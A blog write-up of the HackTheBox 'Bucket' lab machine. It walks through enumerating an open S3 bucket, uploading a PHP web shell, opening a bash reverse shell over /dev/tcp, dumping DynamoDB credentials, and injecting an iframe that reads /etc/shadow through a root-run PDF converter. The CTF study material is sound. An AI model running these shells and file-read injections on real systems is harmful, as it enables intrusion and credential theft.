Bucket Writeup (HackTheBox Medium Machine)


Overview

Bucket is a medium Linux machine from HackTheBox. This box introduces you to Cloud hacking (kinda) and lets you play with S3 bucket from AWS, showcasing common misconfigurations.

We start with discovering special subdomain, which represents an exposed S3 bucket with files used by the web server. After enumeration with “aws” utility, we find out that we can download and upload files. So we upload PHP reverse shell and get initial foothold.

Once in, we dump the exposed DynamoDB database and get the credentials for user “roy”, getting the user flag afterwards. Next, we discover several internal services running. We find the source code in Roy’s project files and discover SSRF vulnerability, which leads to arbitrary file read, allowing us to read any file on the machine, including the root flag.


Nmap scan

Starting with Nmap scan.

┌──(kali㉿kali)-[~]
└─$ sudo nmap -Pn -A 10.10.10.212 -T5
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-10 05:24 EDT
Nmap scan report for 10.10.10.212
Host is up (0.043s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open http Apache httpd 2.4.41
|_http-title: Did not follow redirect to http://bucket.htb/
|_http-server-header: Apache/2.4.41 (Ubuntu)
Device type: general purpose
Running: Linux 5.X
OS CPE: cpe:/o:linux:linux_kernel:5.0
OS details: Linux 5.0, Linux 5.0 - 5.14
Network Distance: 2 hops
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 1723/tcp)
HOP RTT ADDRESS
1 30.39 ms 10.10.14.1
2 32.42 ms 10.10.10.212

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.26 seconds

The Nmap scan showed that 2 common ports are open. Port 22 for SSH and port 80 for Apache HTTP server. Don’t forget to add “bucket.htb” domain to your “/etc/hosts” file.


Web enumeration

I visited the website, which presented itself as an advertising platform. I looked around a bit and used Firefox Dev tools to inspect what files get loaded when a GET request is sent. There were 3 unsuccessful GET requests to “s3.bucket.htb” subdomain. I added it to my “/etc/hosts” file.

Network tab showing all the images trying to get loaded from S3 subdomain

After that, the images get loaded correctly and “s3” subdomain becomes available.

Such subdomains usually point to S3 buckets hosted on AWS servers, as title of this box implies too.

S3 bucket is basically a storage container in Amazon S3 (Simple Storage Service). Think of it like a folder in the cloud where you can upload and organize files (called objects in S3 terms). (ChatGPT)

AWS (Amazon Web Services) is Amazon’s cloud platform that lets you rent powerful computing resources over the internet instead of buying and managing your own servers. (ChatGPT)


I ran Gobuster to perform directory fuzzing and found some directories on the “s3” subdomain.

┌──(kali㉿kali)-[~]
└─$ gobuster dir -u "http://s3.bucket.htb" -w /usr/share/wordlists/dirb/common.txt -t 64 -r
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://s3.bucket.htb
[+] Method: GET
[+] Threads: 64
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Follow Redirect: true
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/health (Status: 200) [Size: 54]
/server-status (Status: 403) [Size: 278]
/shell (Status: 200) [Size: 0]
Progress: 4614 / 4615 (99.98%)

The “/health” page showed that “s3” and “dynamodb” was running.

The “/shell” page redirected me to a completely different domain at first. I realized that I need to add additional “/” to go to “/shell/” page where DynamoDB JavaScript Shell was exposed.

Amazon DynamoDB is a fully managed NoSQL database service provided by Amazon Web Services (AWS). (Blackbox.ai)


S3 bucket enumeration and testing via AWS CLI

As there is a database, my first instinct was to dump it. We can use the DynamoDB web shell or we can use AWS CLI (command-line interface) like I did. Once we install it, we need to configure it and then we can use a command to list all the S3 buckets. There was only one “adserver” bucket.

┌──(kali㉿kali)-[~]
└─$ aws configure
AWS Access Key ID [****************kali]: kali
AWS Secret Access Key [****************kali]: kali
Default region name [bucket]: bucket
Default output format [text]: text

┌──(kali㉿kali)-[~]
└─$ aws --endpoint-url http://s3.bucket.htb s3 ls
2025-04-10 09:38:02 adserver

We can list, download and upload all the files present in the bucket with “aws”. I continued my enumeration with listing all the directories and files.

┌──(kali㉿kali)-[~]
└─$ aws --endpoint-url http://s3.bucket.htb s3 ls s3://adserver/
PRE images/
2025-04-10 09:50:04 5344 index.html

┌──(kali㉿kali)-[~]
└─$ aws --endpoint-url http://s3.bucket.htb s3 ls s3://adserver/images/
2025-04-10 09:50:04 37840 bug.jpg
2025-04-10 09:50:04 51485 cloud.png
2025-04-10 09:50:04 16486 malware.png

This seemed very familiar, those are the same files from the first website “bucket.htb”. This suggested that the entire website is loaded from this S3 bucket.


After learning and playing with AWS CLI for a while, I got curious if I, as unauthorized user, am able to download these files from the bucket. To my surprise, I could without any restrictions.

┌──(kali㉿kali)-[~]
└─$ aws --endpoint-url http://s3.bucket.htb s3 cp --recursive s3://adserver/ ./
download: s3://adserver/index.html to ./index.html
download: s3://adserver/images/malware.png to images/malware.png
download: s3://adserver/images/bug.jpg to images/bug.jpg
download: s3://adserver/images/cloud.png to images/cloud.png

That’s certainly a good find. And if I am able to download the files from the server, why shouldn’t I be able to upload them. Maybe even a shell to get RCE. I tested this functionality by creating dummy file “text.txt” and tried to upload it via “aws”. To my delight, the upload was successful.

┌──(kali㉿kali)-[~]
└─$ aws --endpoint-url http://s3.bucket.htb s3 cp /home/kali/text.txt s3://adserver/text.txt
upload: ./text.txt to s3://adserver/text.txt
my file made it to the S3 bucket


Getting initial foothold

After this finding, it was time to try to upload a shell script. Since this is an Apache server, PHP shell should get executed. At first, I grabbed Ivan Sincek’s PHP reverse shell off of “revshells.com” and uploaded it to the bucket using the same method. This shell failed to connect to me, so I switched to classic PHP web shell where it takes your command as parameter “cmd”.

I uploaded it, validated it’s presence on the web server and triggered it using “curl”.

┌──(kali㉿kali)-[~]
└─$ aws --endpoint-url http://s3.bucket.htb s3 cp shell.php s3://adserver/shell.php
upload: ./shell.php to s3://adserver/shell.php

┌──(kali㉿kali)-[~]
└─$ aws --endpoint-url http://s3.bucket.htb s3 ls s3://adserver/
PRE images/
2025-04-10 10:22:01 5344 index.html
2025-04-10 10:22:05 35 shell.php

┌──(kali㉿kali)-[~]
└─$ curl "http://bucket.htb/shell.php?cmd=whoami"
www-data

And I got the RCE. I set up my listener and triggered the shell again with Netcat command.

┌──(kali㉿kali)-[~]
└─$ curl http://bucket.htb/shell.php?cmd=nc+10.10.14.79+1234
whoami
pwd
HEEEEELP
┌──(kali㉿kali)-[~]
└─$ nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.10.14.79] from (UNKNOWN) [10.10.10.212] 41098
whoami
pwd
HEEEEELP


This shell wasn’t working correctly, it was just working as a chatroom, because it just repeated what I typed on the other end. I switched the command this time from Netcat to Bash.

┌──(kali㉿kali)-[~]
└─$ curl http://bucket.htb/shell.php --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/10.10.14.79/1234 0>&1'"
┌──(kali㉿kali)-[~]
└─$ nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.10.14.79] from (UNKNOWN) [10.10.10.212] 41582
bash: cannot set terminal process group (1029): Inappropriate ioctl for device
bash: no job control in this shell
www-data@bucket:/var/www/html$ whoami
whoami
www-data
www-data@bucket:/var/www/html$ pwd
pwd
/var/www/html
www-data@bucket:/var/www/html$

And finally, I got the initial foothold as user “www-data”. This is where the user flag hunt begins.


Dumping DynamoDB database & getting user flag

Our user “www-data” is common across many Linux web servers and typically doesn’t have any interesting permissions. I looked at the “/etc/passwd” file to see what users we have on the machine. There was only one user other than “root”, and that was “roy”.

www-data@bucket:/home$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
roy:x:1000:1000:,,,:/home/roy:/bin/bash

We have read access to Roy’s home directory. I checked it and saw the user flag, but I couldn’t cat it.

www-data@bucket:/home$ ls -la roy/
total 36
drwxr-xr-x 5 roy roy 4096 Apr 11 11:25 .
drwxr-xr-x 3 root root 4096 Sep 16 2020 ..
lrwxrwxrwx 1 roy roy 9 Sep 16 2020 .bash_history -> /dev/null
-rw-r--r-- 1 roy roy 220 Sep 16 2020 .bash_logout
-rw-r--r-- 1 roy roy 3771 Sep 16 2020 .bashrc
drwx------ 2 roy roy 4096 Apr 11 11:13 .cache
-rw-r--r-- 1 roy roy 807 Sep 16 2020 .profile
drwxr-xr-x 3 roy roy 4096 Sep 24 2020 project
-r-------- 1 roy roy 33 Apr 11 04:02 user.txt


The goal here was to get Roy’s credentials somehow. When doing these CTFs, you should always keep in mind all the resources you found, especially the ones that were not used yet. That’s how I remembered that there’s still the DynamoDB we found earlier. After some research, I found out that I can dump the database using the AWS CLI.

┌──(kali㉿kali)-[~]
└─$ aws --endpoint-url http://s3.bucket.htb dynamodb list-tables --no-sign-request
TABLENAMES users

There was only one table called “users”. I quickly dumped it and got couple credentials.

┌──(kali㉿kali)-[~]
└─$ aws --endpoint-url http://s3.bucket.htb dynamodb scan --table-name users --no-sign-request
None 3 3
PASSWORD Management@#1@#
USERNAME Mgmt
PASSWORD Welcome123!
USERNAME Cloudadm
PASSWORD n2vM-<_XXXXXXXX
USERNAME Sysadm

I used “hydra” (online password cracking tool) to find the correct password for user “roy”.

I got the password and now I can log into SSH as user “roy” and get the user flag.


Discovering and enumerating an internal service

As I always do, I started my usual checklist of checks for common privilege escalation vectors. I checked my user’s sudo permissions, SUID binaries, cronjobs, environment variables, capabilities and so on but I couldn’t find anything useful.


When I decided to check if there are some internal services running with “netstat”, I found out that there are several of them, running on different ports. At least one of them has to be the DynamoDB.

roy@bucket:~$ netstat -tlnp
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:4566 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:44505 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8000 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -

Particularly suspicious were ports 8000, 4566 and 44505 as those were not so common as the other ones. I reconnected to the SSH and forwarded those ports to my machine so I could access them.

┌──(kali㉿kali)-[~]
└─$ ssh roy@bucket.htb -L 4566:localhost:4566 -L 44505:localhost:44505 -L 8000:localhost:8000


I managed to reach all the forwarded ports on Firefox. Port 4566 was hosting the S3 bucket we saw earlier with the DynamoDB shell as well.

Port 44505 showed 404 Not Found. I tried using Whatweb and Gobuster to get some additional information too, but got nothing back. Thus this port remains a mystery.

Port 8000 was the most interesting. There was a website under construction, stating that Bucket application was not finished yet. I used Whatweb again to get more information.


I ran Gobuster to enumerate directories and files. I got a few results back.

┌──(kali㉿kali)-[~]
└─$ gobuster dir -u "http://localhost:8000" -w /usr/share/wordlists/dirb/common.txt -t 64 -r
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://localhost:8000
[+] Method: GET
[+] Threads: 64
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Follow Redirect: true
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/files (Status: 200) [Size: 738]
/index.php (Status: 200) [Size: 16359]
/server-status (Status: 200) [Size: 21810]
/vendor (Status: 200) [Size: 2505]
Progress: 4614 / 4615 (99.98%)

I looked at the individual files and directories and realized, that the “/vendor” directory, for example, contains the same files that are in “/projects” in my user’s home directory.

discovering source code in Roy’s project files

This suggested that the website running internally on port 8000 was my user Roy’s project.


When you discover web servers like this and you have access to the machine via SSH for example, it’s good practice to also check the site’s configuration files to get better idea about how it works. Since there’s Apache used all over this box, you can find config files in “/etc/apache2/” directory.

The config files are also divided by the individual sites. After a little investigation, I managed to find the config file of the website running on port 8000. It said that the website is ran as “root” and that the root directory of the website is “/var/www/bucket-app”.

Apache2 config file showing root directory of the project
roy@bucket:/var/www$ cd bucket-app/
roy@bucket:/var/www/bucket-app$ ls -la
total 856
drwxr-x---+ 4 root root 4096 Feb 10 2021 .
drwxr-xr-x 4 root root 4096 Feb 10 2021 ..
-rw-r-x---+ 1 root root 63 Sep 23 2020 composer.json
-rw-r-x---+ 1 root root 20533 Sep 23 2020 composer.lock
drwxr-x---+ 2 root root 4096 Feb 10 2021 files
-rwxr-x---+ 1 root root 17222 Sep 23 2020 index.php
-rwxr-x---+ 1 root root 808729 Jun 10 2020 pd4ml_demo.jar
drwxr-x---+ 10 root root 4096 Feb 10 2021 vendor


Exploiting SSRF leading to arbitrary file read & rendering root flag

We could see couple interesting files inside this directory, all of them accessible from the web server as well. I checked the “index.php” page right away and saw some PHP code right on top. Fun fact: you can’t see this PHP code from the browser, bacause PHP code is usually server-side only.

discovering PHP code in project files

With a little help from ChatGPT, I figured out what the code does. Basically, when the server receives a POST request with data “action=get_alerts”, it scans the local DynamoDB table called “alerts” for entries with title “Ransomware”. Then it saves the content into a random “.html” file in “/files” and converts it into a PDF using “pd4ml_demo.jar”. This is all done as root by the way.


There is actually a big vulnerability present, hidden in the logic of the code.

This is essentially an HTML to PDF converter being fed untrusted input ($item[“data”]) and passed directly to pd4ml. It’s known that pd4ml can trigger external resource inclusion, XXE, or even Java deserialization, depending on version. (ChatGPT)

no input validation before passing data to pd4ml

If we are able to feed this code with files like “/etc/shadow”, we should have it printed out in the end in PDF in plaintext. Remember that this whole PHP code is ran as “root”.


As we know already, the only table present in local DynamoDB is “users”. We would have to create the table “alerts” and insert an entry with title “Ransomware” and with some HTML that would load the file we wanted to read. And that’s exactly what we must do here. Before we get started, keep in mind that there are clean-up scripts running regularly, so you have to be quick.

To begin the exploitation process, I went back to AWS CLI and created the table “alerts” first.

┌──(kali㉿kali)-[~]
└─$ aws dynamodb create-table \
--table-name alerts \
--attribute-definitions AttributeName=title,AttributeType=S \
--key-schema AttributeName=title,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--endpoint-url http://s3.bucket.htb
TABLEDESCRIPTION 2025-04-12T12:21:04.044000-04:00 0 arn:aws:dynamodb:us-east-1:000000000000:table/alerts alerts 0 ACTIVE
ATTRIBUTEDEFINITIONS title S
KEYSCHEMA title HASH
PROVISIONEDTHROUGHPUT 1969-12-31T19:00:00-05:00 1969-12-31T19:00:00-05:00 0 5 5

┌──(kali㉿kali)-[~]
└─$ aws --endpoint-url http://s3.bucket.htb dynamodb list-tables --no-sign-request
TABLENAMES alerts
TABLENAMES users

Then I inserted an entry into the table with title “Ransomware” and injected malicious HTML, which uses “iframe” to load “/etc/shadow” file, which contains hashed credentials for all users.

┌──(kali㉿kali)-[~]
└─$ aws dynamodb put-item \
--table-name alerts \
--item '{
"title": {"S": "Ransomware"},
"data": {"S": "<iframe src=\"file:///etc/shadow\"></iframe>"}
}'
\
--endpoint-url http://s3.bucket.htb
CONSUMEDCAPACITY 1.0 alerts

┌──(kali㉿kali)-[~]
└─$ aws --endpoint-url http://s3.bucket.htb dynamodb scan --table-name alerts --no-sign-request
None 1 1
DATA <iframe src="file:///etc/shadow"></iframe>
TITLE Ransomware

After that, I simply made a POST request to the service with data “action=get_alerts” with “curl”.

┌──(kali㉿kali)-[~]
└─$ curl -X POST -d "action=get_alerts" http://localhost:8000


All left to do then was to check the “/files” directory and find the “result.pdf”. This file contained the content of our loaded file “/etc/shadow” with the hashed credentials.

uploaded HTML file and converted PDF file
PDF showing us the content of “/etc/shadow”

I tried to crack the hashes, but got no luck. We can get the root flag in similar fashion.


Summary

Bucket is a medium machine from HackTheBox. This box lets you play with ‘cloud storages’ (you’re not hacking the actual Cloud here), specifically S3 buckets from AWS. Cloud hacking is quite rare in terms of CTFs, not actually very common in the real world. We get the chance to practice on exposed S3 bucket with DynamoDB database, which serve as remote storage for our files. We start with discovering special S3 subdomain, serving as a bucket. We use command-line utility “aws” to enumerate this S3 bucket and discover all the files that the web server loads. We find out that we can download and upload files, misconfiguration that allows us to gain initial access. Once inside, we dump the DynamoDB database and get password for user “roy”. After that, we discover internal service with a website running as “root”, to which source code we have access to. After careful study, we can notice that there’s SSRF vulnerability, leading to arbitrary file read, giving us opportunity to read any file we want. I had a lot of fun during completing this machine, also learnt a lot about AWS and it’s common misconfigurations. Recommending to everybody who’s serious about ethical hacking. Cloud storages are used almost everywhere nowadays and it’s important to educate ourselves about their security. We saw many critical flaws in the past, especially misconfigurations in AWS S3 buckets.

Comments

Popular posts from this blog

Hospital Writeup (HackTheBox Medium Machine)

Mr Robot Writeup (Vulnhub Intermediate Machine)